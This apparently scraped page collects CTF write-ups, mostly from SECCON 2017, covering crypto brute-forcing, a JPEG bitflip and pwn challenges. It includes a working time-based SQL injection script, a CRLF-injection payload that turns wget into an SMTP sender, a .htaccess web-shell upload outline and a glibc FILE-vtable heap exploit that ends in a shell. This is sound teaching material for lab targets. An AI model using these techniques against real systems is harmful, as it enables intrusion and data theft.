<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
<div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div>
<template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 0 1 0 1.5h-1.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-1.5a.75.75 0 0 1 1.5 0v1.5A1.75 1.75 0 0 1 9.25 16h-7.5A1.75 1.75 0 0 1 0 14.25Z"></path><path d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0 1 14.25 11h-7.5A1.75 1.75 0 0 1 5 9.25Zm1.75-.25a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-fg-success d-none m-2"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> </clipboard-copy> </div></template>
</div>
<div id="js-global-screen-reader-notice" class="sr-only" aria-live="polite" ></div> </body></html>
|
# Simon and Speck Block Ciphers (Crypto, 100p)
```Simon_96_64, ECB, key="SECCON{xxxx}", plain=0x6d564d37426e6e71, cipher=0xbb5d12ba422834b5 ```
In the task we get the plaintext, ciphertext and the information what is the encryption.We also get the key with 4 missing characters.It seems like a good target to simply brute-force, because 4 bytes is not much.
We found the Simon algorithm at https://github.com/inmcm/Simon_Speck_Ciphers/blob/master/Python/simon.py and we prepared a simple brute-force script:
```pythonfrom crypto_commons.brute.brute import brutefrom crypto_commons.generic import bytes_to_long
dataset = string.uppercase + string.lowercase + string.digits + string.punctuation + " "
def worker(a): print(a) for b in dataset: for c in dataset: for d in dataset: # Simon_96_64, ECB, key = "SECCON{xxxx}", plain = 0x6d564d37426e6e71, cipher = 0xbb5d12ba422834b5 key = "SECCON{" + a + b + c + d + "}" w = SimonCipher(bytes_to_long(key), key_size=96, block_size=64) t = w.encrypt(0x6d564d37426e6e71) if t == 0xbb5d12ba422834b5: print(key) sys.exit(0)
if __name__ == "__main__": brute(worker, dataset, 7)```
Nothing special here, we simply try every 4 character combination as the key, until the ciphertext matches.
It was pretty slow so we used PyPy and multiprocessing to run in paralell on multiple cores.After a while we got: `SECCON{6Pz0}` |
# SqlSRF
SqlSRF was a 400 point Web challenge in the quals of SECCON 2017. While not exceptionally hard, it required a diverse skillset and was thus quite interesting.
## Challenge description
```SqlSRF
The root reply the flag to your mail address if you send a mail that subject is "give me flag" to root.http://sqlsrf.pwn.seccon.jp/sqlsrf/ ```
## The files
Upon clicking the link provided in the description, we're presented with a list of four files: *bg-header.jpg*, *index.cgi*, *index.cgi_backup20171129*, and *menu.cgi*.
I decided to look into the backup file of *index.cgi* right away. It contains the following code:
```perl#!/usr/bin/perl
use CGI;my $q = new CGI;
use CGI::Session;my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});$s->expire('+1M'); require './.htcrypt.pl';
my $user = $q->param('user');print $q->header(-charset=>'UTF-8', -cookie=> [ $q->cookie(-name=>'CGISESSID', -value=>$s->id), ($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef) ]), $q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black'); $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');
my $errmsg = '';if($q->param('login') ne '') { use DBI; my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB'); my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';"); $errmsg = '<h2 style="color:red">Login Error!</h2>'; eval { $sth->execute(); if(my @row = $sth->fetchrow_array) { if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) { $s->param('autheduser', $q->param('user')); print "<scr"."ipt>document.location='./menu.cgi';</script>"; $errmsg = ''; } } }; if($@) { $errmsg = '<h2 style="color:red">Database Error!</h2>'; } $dbh->disconnect();}$user = $q->escapeHTML($user);
print <<"EOM";
<div style="background:#000 url(./bg-header.jpg) 50% 50% no-repeat;position:fixed;width:100%;height:300px;top:0;"></div><div style="position:relative;top:300px;color:white;text-align:center;"><h1>Login</h1><form action="?" method="post">$errmsg<table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;"><tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr><tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr><tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember Me</td></tr><tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr></table></form></div></body></html>EOM
1;```## SQL injection
Without thinking too much (and hinted by the title of the challenge), I noticed that this code was vulnerable to a Time-Based SQL injection. I also know that the DBMS used is SQLite. I wrote the following code:
```pythonimport requestsfrom time import time
url_prefix = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi?login=1&user='payload_prefix = "admin' and password like '"payload_suffix = "%' and 1=randomblob(300000000)--"
chars = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_'result = ''
while True: for char in chars: payload = url_prefix + payload_prefix + result + char + payload_suffix start = time() text = requests.get(payload).text end = time() if end - start > 2.5: result += char break print result```
I just assumed that the username would be **admin** (which it was), but the username of the user can be bruteforced in the same way by modifying `payload_prefix` a bit.
I ended up with the following results:```username = adminpassword = d2f37e101c0e76bcc90b5634a5510f64```Since the encrypted password found in the database was 32 characters long, I immediately thought that it could be **MD5**. Unfortunately, after checking several MD5 reversing websites, I was unable to find the original password.
At this point, I supposed that **admin** was not the only user in the database, and that maybe I should get access to *menu.cgi* using another user's credentials.
By modifying the previous script a bit, I managed to find the following credentials in the database:```username = user1password = b8e32e6d23001fad5585258ba815e424f86eb0f42e8d0e9688dfb1293ee5e9ec```
This encrypted password is clearly not 32 characters long, so I concluded that the `encrypt` function used in *index.cgi* was homemade. Unfortunately, I didn't manage to read the file using my SQL injection, as `readfile` was not available.
## Reversing the passwords
Since I was not able to read the file containing the definition of the `decrypt` function, I quickly realized that there should therefore be a way to call it.
By looking at the code a bit more, I realized that the following code could be exploited:
```perlmy $user = $q->param('user');print $q->header(-charset=>'UTF-8', -cookie=> [ $q->cookie(-name=>'CGISESSID', -value=>$s->id), ($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef) ]), $q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black'); $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');```
By replaying a request with the `remember` cookie set and setting it to an encrypted password, it would end up displayed in the *username* field on the page, as the following code shows:
```html<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>```
By doing that with the encrypted admin password `d2f37e101c0e76bcc90b5634a5510f64`, I managed to obtain the plaintext password "**Yes!Kusomon!!**".
Using the credentials **admin**/**Yes!Kusomon!!** then gives us access to *menu.cgi*.
## Command injection
*menu.cgi* is a page that lets us issue two shell commands to the server: `netstat -tnl` and `wget --debug -O /dev/stdout 'http://<user_controlled_input>'`.
After a few checks, it appears that it is not possible to simply issue arbitrary commands from the interface, as no command injection seems to be possible.
## SSRF
Now, the title of the challenge did mention some kind of **S(ql)SRF**. Based on this knowledge, I ran the `netstat -tnl` command and got the following output:```Active Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN tcp6 0 0 :::22 :::* LISTEN tcp6 0 0 ::1:25 :::* LISTEN ```
Hm… A service is running locally on port 25, which is common for **SMTP**. The description of the challenge **did** say that the root would reply with the flag to my mail address if I sent him a flag with the subject *give me flag*.
Coincidentally, this also reminded me of this [presentation](https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf) at **BlackHat USA 2017** (*TL;DR `wget` is vulnerable to CRLF injections*).
Armed with this knowledge, it was just a matter of crafting the payload, with every special character url encoded:```127.0.0.1 %0D%0AHELO sqlsrf.pwn.seccon.jp%0D%0AMAIL FROM%3A %3CSIben%40mindyourownbusiness.com%3E%0D%0ARCPT TO%3A %3Croot%40localhost%3E%0D%0ADATA%0D%0ASubject%3A give me flag%0D%0Agive me flag%0D%0A.%0D%0AQUIT%0D%0A:25/```
A few seconds after sending this payload, I received an email with the following content:```Encrypted-FLAG: 37208e07f86ba78a7416ecd535fd874a3b98b964005a5503bcaa41a1c9b42a19```
More encryption? I immediately went back to the *Reversing the passwords* step and put this encrypted string in the cookie.
This outputs the flag: **SECCON{SSRFisMyFriend!}** |
tl;dr:
1. public keys share a prime2. factor both keys3. generate private key4. decrypt ciphertext with first key
Full writeup here: https://github.com/p4-team/ctf/tree/master/2017-12-09-seccon-quals/crypto_ps_and_qs |
tl;dr:1. Upload .htaccess to enable php execution in html2. Upload shell3. Use proc-open to run shell command and recover the flag
Full writeup here: https://github.com/p4-team/ctf/tree/master/2017-12-09-seccon-quals/web_automatic |
###Vuln-chat2.0
this is a 100 pts Pwn challenge it was very interesting and as i come late and the ctf still just 2 hours until the end soi played as fast as i can , lets go and as always .. IDA :D```Cint doThings(){ char buf; // [sp+1h] [bp-27h]@1 char v2; // [sp+15h] [bp-13h]@1
puts("----------- Welcome to vuln-chat2.0 -------------"); printf("Enter your username: "); __isoc99_scanf("%15s", &v2;; printf("Welcome %s!\n", &v2;; puts("Connecting to 'djinn'"); sleep(1u); puts("--- 'djinn' has joined your chat ---"); puts("djinn: You've proven yourself to me. What information do you need?"); printf("%s: ", &v2;; read(0, &buf, 0x2Du); puts("djinn: Alright here's you flag:"); puts("djinn: flag{1_l0v3_l337_73x7}"); return puts("djinn: Wait thats not right...");}```so as you see everything is happen inside this function first in scanf we have 15 to write so we cant overflowthere are also read wich write 0x2d inside the buf and the diff between buf and return addr is 0x2b so we canjust overwrite the last 2 bytes (0x804[4141]) and the idea came up very fast Coz we have a function called printFlag and its addresse 0x804[8672] |
# SqlSRF (Web, 400p)
```The root reply the flag to your mail address if you send a mail that subject is "give me flag" to root.```
In the task initially we get access to a login screen and [source code of the index page](index.pl]).First goal is to somehow login into the system.
In the sources we can see:
```perlif($q->param('login') ne '') { use DBI; my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB'); my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';"); $errmsg = '<h2 style="color:red">Login Error!</h2>'; eval { $sth->execute(); if(my @row = $sth->fetchrow_array) { if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) { $s->param('autheduser', $q->param('user')); print "<scr"."ipt>document.location='./menu.cgi';</script>"; $errmsg = ''; } } }; if($@) { $errmsg = '<h2 style="color:red">Database Error!</h2>'; } $dbh->disconnect();```
There is a clear SQLInjection in the query which is supposed to retrieve the password for given user from the database.The password is then compared with `&encrypt($q->param('pass'))`.We can easily inject any password simply by providing username `whateve' union select 'OUR_PASSWORD` but we need to know the encrypted form of `OUR_PASSWORD` for this to work.Fortunately we can see in the code also:
```perlmy $user = $q->param('user');//($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)```
If we put username and select "remember me" checkbox, the system will automatically create the cookie with encrypted username.We can then first put `OUR_PASSWORD` as username, select "remember me", click login and retrieve the encrypted string from the cookie.
Once we manage to login into th system it turns out it's no good because as non-admin user we can only use `netstat` command and we can't use `wget`:

Netstat at least shows that there is SMTP server running there, and the task description says we need to use it to send email to root.
It seems we actually need to login as admin, because right now the system remembers exactly what username we put, and we're logged in as `whateve' union select ...` and not as `admin`.First step is to retrieve the admin password from database.This we can do via Blind SQLInjection in the login screen.We can't get any echo from the database but we can either login or not login, and we can use this as boolean oracle.So we can do injection in the form `whatever' union select 'OUR_ENCRYPTED_PASSWORD' where (CONDITION) and '1'='1`.The `CONDITION` here is simply a check on the characters of admin password.
After a moment we get back: `d2f37e101c0e76bcc90b5634a5510f64`.Now we need to decrypt this password.It turns out there is an interesting code on the page:
```perl$user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');//$user = $q->escapeHTML($user);//<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>```
The page actually takes encrypted string from `remember` cookie, decrypts and puts in the `login` field of the form.It means we can simply place the recovered password in the cookie, and the page will decrypt it for us.This way we learn that admin password is `Yes!Kusomon!!`.
Now we're back in the system, this time as admin, and we can run `wget`.Sadly we can't really change neither of the commands and no command injection tricks work, we can only use what is provided.We have to use `wget` to send an email!
SMTP and FTP servers are often very permissive when it comes to accepting commands.They simply ignore incorrect commands and execute correct ones.What `wget` sends to the designated host is:
```GET / HTTP/1.1User-Agent: Wget/1.14 (linux-gnu)Accept: */*Host: 127.0.0.1Connection: Keep-Alive```
And SMTP server will simply claim that those are all incorrect commands.
We've noticed that `wget` version was outdated, so maybe there is some vulnerability we could use.Some googling brought us to https://lists.gnu.org/archive/html/bug-wget/2017-03/msg00018.html and this was exactly what we needed.It turns out we can use newlines and line feeds to modify `Host` header and append additional elements there.We need to add:
```HELO 127.0.0.1MAIL FROM:<[email protected]>RCPT TO:<[email protected]>DATAFrom: [email protected]To: [email protected]Subject: give me flag.QUIT```
So we prepared the payload (with percent escapes):
```127.0.0.1%0d%0aTest%3a %0aHELO 127.0.0.1%0aMAIL FROM%3a%3cshalom%40p4.team%3e%0aRCPT TO%3a%3croot%40ymzk01.pwn%3e%0aDATA%0aFrom%3a shalom%40p4.team%0aTo%3a root%40ymzk01.pwn%0aSubject%3a give me flag%0d%0a.%0d%0a%0aQUIT%0a:25```
And we got:

And right after that we've received the flag, encrypted again with the same encryption as passwords.So we used the remember cookie trick again and finally recovered the flag: `SECCON{SSRFisMyFriend!}` |
# JPEG File (Misc, 100p)
```It will be fixed if you change somewhere by 1 bit.```
In the task we get a [jpeg file](tktk.jpg) and the description is quite clear - we need a single bitflip to uncover the flag.We simply generated images with bitflips and the scrolled through thumbnails.We thought about using tesseract but it would take much time.
Bitflips were generated via:
```pythonimport codecs
def main(): start_byte = 0 stop_byte = 700 with codecs.open("tktk.jpg", "rb") as input_file: data = input_file.read() for byte in range(start_byte, stop_byte): for bit in range(8): modified = chr(ord(data[byte]) ^ (1 << bit)) output_data = data[:byte] + modified + data[byte + 1:] with codecs.open("res/" + str(byte) + "_" + str(bit) + ".jpg", "wb") as output_file: output_file.write(output_data)main()```
And once we flipped bits in byte 623 we got the flag:

The flag was `SECCON{jp3g_study}` |
# Vigenere 3d (Crypto, 100p)
In the task we get the code:
```pythonimport sysdef _l(idx, s): return s[idx:] + s[:idx]def main(p, k1, k2): s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}" t = [[_l((i+j) % len(s), s) for j in range(len(s))] for i in range(len(s))] i1 = 0 i2 = 0 c = "" for a in p: c += t[s.find(a)][s.find(k1[i1])][s.find(k2[i2])] i1 = (i1 + 1) % len(k1) i2 = (i2 + 1) % len(k2) return cprint main(sys.argv[1], sys.argv[2], sys.argv[2][::-1])```
And a call log:
```$ python Vigenere3d.py SECCON{**************************} **************POR4dnyTLHBfwbxAAZhe}}ocZR3Cxcftw9```
We know that the flag has format: `SECCON{**************************}`, key has 14 characters and ciphertext is `POR4dnyTLHBfwbxAAZhe}}ocZR3Cxcftw9`.
First thing to prepare is decryption function, to use once we manage to recover the key:
```pythondef decrypt(ct, k1, k2): s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}" t = [[_l((i + j) % len(s), s) for j in range(len(s))] for i in range(len(s))] i1 = 0 i2 = 0 decrypted = "" for a in ct: for c in s: if t[s.find(c)][s.find(k1[i1])][s.find(k2[i2])] == a: decrypted += c break i1 = (i1 + 1) % len(k1) i2 = (i2 + 1) % len(k2) return decrypted```
This is a very naive brute-force decryptor, but we don't need anything more fancy.Now we need to somehow recover the encryption key.
It's easy to notice that this enryption can generate identical ciphertexts for many different keys.In fact for any chosen key character at position `x` there is a corresponding character at position `13-x` which will produce the right ciphertext character from the plaintext. This is simply because array `t` contains all possible combinations.This means we actually need to recover only 7 characters of the key, because they will automatically fix the other 7 characters.
We can run:```pythondef recover_key(known_prefix, ciphertex): final_key = ['*'] * 14 for pos in range(7): for c in s: partial_candidate_key = ['*'] * 14 partial_candidate_key[pos] = c partial_candidate_key[13 - pos] = c key = "".join(partial_candidate_key) res = encrypt(known_prefix, key, key[::-1]) if res[pos] == ciphertex[pos]: final_key[pos] = c final_key[13 - pos] = c print "".join(final_key) return "".join(final_key)```
To generate a key which will be a palindrome.We could just as well always set `partial_candidate_key[13 - pos] = 'A'` or any other fixed character.
Once we run this, we recover the key and can decrypt the flag: `SECCON{Welc0me_to_SECCON_CTF_2017}`
Full solver [here](vigenere.py) |
babyfs - Pwn 315 (13 Teams Solved)-------------### DescriptionBaby or not baby is up to you.nc 52.198.183.186 50216(link to binary and libc)
### Overviewbabyfs is a x86-64 ELF(NX, SSP, PIE, Full RELRO) binary implementing a simple file stream open/read/write/close functions.
It's a CTF-style menu challenge, easy to reversing, hard to exploit.
### ReversingOkay, so lets check out how each functions are working.
#### Open
First we have to know how program manage each file stream and its data.In binary, it uses structure 1 to manage file stream and it allocated in .bss section (its global variable!).And sadly, there is PIE in binary so we cant use this metadata in exploit without PIE leak XD
```c// Structure 1struct __attribute__((aligned(8))) simpleFs{ char *streamPtr; char *fileData; char fileName[64]; unsigned __int64 fileLen; __int32 isWrite; __int32 padding;};```
We can open maximum 3 files at the same time in open menu. Function get file name at .bss section (global variable structure)and try to open file.If file name invalid, function opens error log file and write file name which we try to open.After open the file successfully get file length using fseek() and allocate data buffer (size fileLen+1) for read file.
#### Read-- In read menu, program take index we opened from user.-- If index is invalid then get size to read. After comparing size with filesize call fread() to read data from file.-- Data is stored at **char \*fileData**.
#### WriteTake index and progress validation check same as read menu.We can write file data only one time because it sets write flag when write menu called.Menu returns "It have been writed !" strings if structure's isWrite flag != 0. If isWrite flag unsetted, function writes only one byte of file data to stdout stream.
#### CloseIf index and streamPtr is not NULL, it frees **char \*fileData** and nullify other region without **char \*streamPtr**.**char \*streamPtr** nullified after fclose(streamPtr) called.
### Vulnerability
So where does the vulnerability occurs? It occurs at open menu.The size will return -1 and stored at **fileLen** if we give "/dev/fd/0" or "/dev/stdin" for file name, but buffer allocates size+1 so it will normally allocate heap buffer by malloc(0).**unsigned __int64 fileLen** is **unsigned int**, so heap overflow will occur if we give size bigger than 0x20 in read menu.
### Exploit - Intended
We always have to think what data can we overwrite.The most intuitive attack vector is the contents of the \_IO_FILE structure, which allocated in the heap directly.We looked at the \_IO_FILE structure and thought its enough to get arbitrary read/write by manipulating \_IO_read_ptr and \_IO_write_ptr to our input.
```cstruct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;#if 0 int _blksize;#else int _flags2;#endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE};```
So, the scenario looks very simple.- Allocate 2 file streams. (/dev/fd/0, anything else) - Overwrite second file stream's \_IO_read_ptr and call file 1's write menu. (NULL byte appended to the end because it use fread, need brute-force for 0.5 byte.)- Close file 1, allocate file 1 and repeat it to get full address of heap and libc. (can read 1byte per attempt)- Close file 1 and allocate /dev/fd/0 again.- Overwrite /dev/fd/0's \_IO_write_ptr to \_\_free_hook and call file 1's read menu.- Overwrite \_\_free_hook to system or one-shot gadget, get shell!
Simple, huh?
### Exploit - Two little problems (crazy parts)I tried to exploit using the above method, but there were some serious problems.
First, the binary was running with socat, some character was truncated.In particular **"\x7f"** is treated as a backspace, so I can't input the address of the library area.(Intended solution is bypass check with "\x16\x7f" and follow the above scenario.I want to suggest another solution that purely not using "\x7f".)
Therefore, we can't overwrite the library address in the location we want.However, that you can not use "\x7f" does not necessarily mean you can't enter the address of the library area into memory.We can enter library address by overwriting the lower bytes of the pointer that already points to the library area!We can overwrite the file stream with a fake vtable in heap so we can call the code we want.
Yes, and I get local shell!
I was excited to get the flag and run the script after change the offset, but there was an error message.
> Fatal error: glibc detected an invalid stdio handle
So there is second problem, there was a new mitigation applied in latest version of libc. (after 2.24)It check the address of vtable before all virtual function call and if vtable invalid, just aborted.How can I exploit this binary?
### Exploit - Final
So I thought calling other function that satisfy the condition.I found one function that does not check condition at 0x3bdbd0 while finding the useful vtable function.
> \_\_libc_IO_vtables:00000000003BDBD0 dq offset sub_748E0
```c// sub_748E0 vtable functionint __fastcall sub_748E0(__int64 arg){ __int64 argPtr; // rax@1
argPtr = *(arg + 0xA0); if ( *(argPtr + 0x30) && !(*(arg + 0x74) & 8) ) { (*(arg + 0xE8))(); argPtr = *(arg + 160); } *(argPtr + 48) = 0LL; return IO_wdefault_finish(arg, 0LL);}```
And this is the assembly code that calls the vtable function.
```asm 0x7f36269526b3 <_IO_flush_all_lockp+355>: mov rax,QWORD PTR [rbx+0xa0]=> 0x7f36269526ba <_IO_flush_all_lockp+362>: mov rcx,QWORD PTR [rax+0x18] 0x7f36269526be <_IO_flush_all_lockp+366>: cmp QWORD PTR [rax+0x20],rcx 0x7f36269526c2 <_IO_flush_all_lockp+370>: jbe 0x7f36269526f7 <_IO_flush_all_lockp+423> # mitigation routine 0x7f36269526c4 <_IO_flush_all_lockp+372>: mov rax,QWORD PTR [rbx+0xd8] 0x7f36269526cb <_IO_flush_all_lockp+379>: lea rsi,[rip+0x33f1ee] # 0x7f3626c918c0 <_IO_helper_jumps> 0x7f36269526d2 <_IO_flush_all_lockp+386>: mov rdx,rax 0x7f36269526d5 <_IO_flush_all_lockp+389>: sub rdx,rsi 0x7f36269526d8 <_IO_flush_all_lockp+392>: cmp r12,rdx 0x7f36269526db <_IO_flush_all_lockp+395>: jbe 0x7f3626952850 <_IO_flush_all_lockp+768> 0x7f36269526e1 <_IO_flush_all_lockp+401>: mov esi,0xffffffff 0x7f36269526e6 <_IO_flush_all_lockp+406>: mov rdi,rbx 0x7f36269526e9 <_IO_flush_all_lockp+409>: call QWORD PTR [rax+0x18] # call part```
Register "rbx" stores a pointer of our fake input.We can call \*(\*(addr+0xd8)+0x18) but \*(addr+0xd8) must be code in the library vtable area.
So I modify \*(addr+0xd8) to (libc + 0x3bdbd0 - 0x18), _\_IO_flush_all_lockp+409_ will call _sub_748E0_ function.In _sub_748E0_, check some conditions and call \*(addr+0xe8) without any checks.
Yes, so if the pointers in both library areas are in the heap and their addresses differ by 0x10, we can modify first pointer to (libc+0x3bdbd0-0x18) and second pointer to system by arbitrary overwrite explained as above, we will get the shell.
However there are no library pointers that condition satifies.But we can create library pointers by making unsorted bin.When we opens new file, it allocates two chunks in heap and binary allocates data chunk.First chunk is the file stream chunk, second is the file data chunk.However, we should be note that there is another library pointer at the end of the file stream chunk.
```0x555555758000: 0x0000000000000000 0x00000000000002310x555555758010: 0x00000000fbad2688 0x00005555557582400x555555758020: 0x0000555555758240 0x00005555557582400x555555758030: 0x0000555555758240 0x00005555557582400x555555758040: 0x0000555555758240 0x00005555557582400x555555758050: 0x0000555555758640 0x00000000000000000x555555758060: 0x0000000000000000 0x00000000000000000x555555758070: 0x0000000000000000 0x00007ffff7dd25400x555555758080: 0x0000000000000003 0x00000000000000000x555555758090: 0x0000000000000000 0x00005555557580f00x5555557580a0: 0xffffffffffffffff 0x00000000000000000x5555557580b0: 0x0000555555758100 0x00000000000000000x5555557580c0: 0x0000000000000000 0x00000000000000000x5555557580d0: 0x0000000000000000 0x00000000000000000x5555557580e0: 0x0000000000000000 0x00007ffff7dd06e0
...
0x5555557581e0: 0x0000000000000000 0x00000000000000000x5555557581f0: 0x0000000000000000 0x00000000000000000x555555758200: 0x0000000000000000 0x00000000000000000x555555758210: 0x0000000000000000 0x00000000000000000x555555758220: 0x0000000000000000 0x00000000000000000x555555758230: 0x00007ffff7dd0260 0x00000000000004110x555555758240: 0x0000000000000000 0x0000000000000000```
So, If we free second chunk and unsorted bin's fd, bk(library pointer) are written in next heap+0x240 address, there are two pointers that satisfies the condition.
```0x5555557581e0: 0x0000000000000000 0x00000000000000000x5555557581f0: 0x0000000000000000 0x00000000000000000x555555758200: 0x0000000000000000 0x00000000000000000x555555758210: 0x0000000000000000 0x00000000000000000x555555758220: 0x0000000000000000 0x00000000000000000x555555758230: 0x00007ffff7dd0260 0x00000000000004110x555555758240: 0x00007ffff7dd1b78 0x00007ffff7dd1b78```
Great! So call vtable after modify +0x230 pointer to vtable address-0x18, +0x240 pointer to system then we can get shell!
The final exploit scenario:>- Allocate 3 file streams>- Get heap and libc address by above method (set _\_IO_read_end_ to avoid null byte at the end) >- Free file 0, make 2 library pointer differs 0x10.>- Make fake table at before first library pointer and change first library pointer to &func-0x18>- Overwrite second library pointer to system>- Close chunk 2, call system("/bin/sh")!
> Closing /dev/fd/0 ...> /bin/sh: 0: can't access tty; job control turned off> $ id> uid=2139990319 gid=1337 groups=1337> $ cd /home/babyfs> $ ls> b4by_fl49 babyfs.bin flag> $ > $ cat b4by_fl49> hitcon{pl4y_w1th_f1l3_Struc7ure_1s_fUn}> $
It was great challenge!I took almost 30 hours to solve it :(I learned really lot while thinking idea about bypassing vtable mitigation, thanks for angelboy XD (intended solution is very easy)
Full exploit code is at babyfs.py |
# ▼▼▼It's Common Sense(Web:100)、33/484=6.8%▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
---
```Common Sense Reviews was fixed last night. If you believe you had a working sol. last night but did not receive an email, please retry that solution. One major issue was email sending.
We found this site: Common Sense Reviews
We think the site owners are related to Pirates. Please retrieve the admin password.
This challenge is not working right now, it should be back soon. If not, we will remove points received from it.This challenge should be working properly now. Expect a delay in receiving emails (approx. 3 minutes max?).
Author: Steven Su```
---
### 【機能】
・製品のレビュー投稿機能
・レビューを書くと、adminに確認される。
・パスワード変更機能があり、メールアドレスにパスワードが送信される機能
---
